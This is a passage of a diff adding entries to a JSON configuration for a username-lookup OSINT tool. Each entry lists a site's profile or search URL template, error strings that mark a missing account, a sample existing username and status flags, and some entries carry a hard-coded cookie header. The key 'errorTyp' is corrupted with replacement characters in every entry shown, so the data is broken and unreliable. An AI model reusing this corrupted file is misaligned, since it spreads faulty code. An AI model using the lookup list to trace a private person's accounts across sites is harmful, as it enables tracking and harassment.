"Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

    \n\n\n0", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + 